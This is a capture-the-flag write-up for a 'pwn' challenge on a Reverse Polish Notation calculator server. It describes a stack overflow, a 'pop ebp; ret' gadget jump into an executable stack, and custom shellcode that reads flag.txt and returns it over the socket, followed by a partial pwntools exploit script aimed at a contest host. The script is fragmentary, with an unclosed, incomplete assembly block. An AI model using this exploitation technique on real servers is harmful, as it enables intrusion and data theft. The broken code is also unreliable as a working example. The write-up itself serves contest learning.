Tags: pwn shellcode
We have the binary of the server and the binary of the client. The server can compute operations in Reverse Polish Notation. It's easy to crash the server sending lots of data to cause an overflow. Using gdb we can see that the program tried to execute an instruction on a specific address that we can control, however the address of the instruction is specified on the heap, so it's not easy to create a rop chain to execute arbitrary functions. What we did was to set as return address the address of a rop gadget `pop ebp; ret`, because we see that in the stack there was our input (aaaaaaaa):
00:0000│ esp 0xffffd9fc —▸ 0x8049a4d ◂— add esp, 0x10 # this parameter will be popped away with pop ebp;
01:0004│ 0xffffda00 —▸ 0xffffda10 ◂— 0x616161616161 # our input -> executed with ret;
Since the server's binary has the stack executable we can override the "aaaaaaaa" -> 0x61616161616161 with a shellcode, We tried with a bind shell or reverse shell shellcode but the firewall blocked our connections. So we crafted our shellcode that:
1. open the file `flag.txt`
2. read the content of flag.txt and write the content inside a chunk in the heap -> there was already a function in the binary to do this and the chunk in the heap is always the same since PIE is disabled.
3. send back to us the content of the chunk in the heap using the socket file descriptor (4) -> there was already a function in the binary to do this
from pwn import *
context.log_level = "debug"
context.arch = "i386"
PADDING = 204
PASSWORD = b"JustPwnThis!"
pop_ebp_ret = p32(0x0804AD23)
flag = b"./flag.txt\x00\x00"[::-1]
shellcode = asm(
xor ecx, ecx
mov al, 0x05
mov ebx, esp
mov edx, esp
mov edx, 0x804a5ca
mov edx, 0x0804a650
payload = p32(0x804A8C8) + shellcode + pop_ebp_ret
# conn = remote("localhost", 9000)
conn = remote("gamebox1.reply.it", 27364)